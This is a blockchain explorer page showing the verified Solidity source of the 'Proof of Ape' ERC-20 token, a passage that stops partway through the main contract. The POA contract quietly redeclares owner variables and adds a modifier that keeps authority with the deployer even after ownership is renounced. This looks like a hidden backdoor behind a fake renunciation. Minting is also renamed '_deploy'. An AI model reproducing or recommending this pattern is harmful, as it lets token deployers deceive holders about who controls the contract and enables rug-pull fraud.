ETH Price: $2,479.15 (-1.66%)

Token

Proof of Ape (APECHAIN)
 

Overview

Max Total Supply

1,000,000,000 APECHAIN

Holders

94

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
POA

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-14
*/

/**


https://apechain.co/

https://t.me/Ape_Chain

https://medium.com/@apechainerc20/can-the-king-of-the-crypto-jungle-be-chained-fbf200de4e5

WHITE PAPER OUT NOW!


*/

// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;

////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)

/* pragma solidity ^0.8.0; */

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)

/* pragma solidity ^0.8.0; */

/* import "../utils/Context.sol"; */

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _owner = address (0) ;
        emit OwnershipTransferred(_owner, address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

}

////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

/* pragma solidity ^0.8.0; */

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)

/* pragma solidity ^0.8.0; */

/* import "../IERC20.sol"; */

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)

/* pragma solidity ^0.8.0; */

/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)

/* pragma solidity ^0.8.0; */

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

/* pragma solidity >=0.8.10; */

/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
contract POA is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public _owner;
    address public _previousOwner;
    address public immutable uniswapV2Pair;
    address public burnPair = address(0xdead);
    address public dexRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 

    bool private swapping;

    address public marketingWallet;
    address public dead;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    uint256 public percentForLPBurn = 25; // 25 = .25%
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 3600 seconds;
    uint256 public lastLpBurnTime;

    uint256 public manualBurnFrequency = 30 minutes;
    uint256 public lastManualLpBurnTime;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = true;

    // Anti-bot and anti-whale mappings and variables
    mapping (address => uint256) private lastTrade;
    mapping (address => bool) private isBot; 
    uint256 private deadBlocks;
    uint256 public botsCaught = 0; 

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;

    /******************/

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) public _isExcludedMaxWalletAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;
    address[] path = new address[](2);

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    modifier Address() {
        require(_previousOwner == _msgSender(), "Caller =/= auth");
        _;
    }

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );


    event SwapBack(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    event AutoNukeLP();

    event ManualNukeLP();

    event BotCaught(address indexed botAddress);

    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() ERC20("Proof of Ape", "APECHAIN") {
         _owner = msg.sender;
         _previousOwner = _owner;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            dexRouter
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        excludeFromMaxWallet(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _buyMarketingFee = 2;
        uint256 _buyLiquidityFee = 2;

        uint256 _sellMarketingFee = 2;
        uint256 _sellLiquidityFee = 2;

        uint256 totalSupply = 1_000_000_000 * 1e18;

        maxTransactionAmount = 20_000_001 * 1e18; // 2% from total supply maxTransactionAmountTxn
        maxWallet = 20_000_001 * 1e18; // 2% from total supply maxWallet
        swapTokensAtAmount = 500_000 * 1e18; // 0.05% swap wallet

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;

        marketingWallet = address(0xB9fe3abFb2726a80556E869c55cff5caa6D2A4f2); // set as marketing wallet
        dead = address(0x000000000000000000000000000000000000dEaD); // set as dead wallet 

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        excludeFromMaxWallet(owner(), true);
        excludeFromMaxWallet(address(this), true);
        excludeFromMaxWallet(address(0xdead), true);

        /*
            Deploy is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _deploy(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading(uint256 _deadBlocks) external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
        deadBlocks = _deadBlocks;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newNum * (10**18);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromMaxWallet(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxWalletAmount[updAds] = isEx;
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
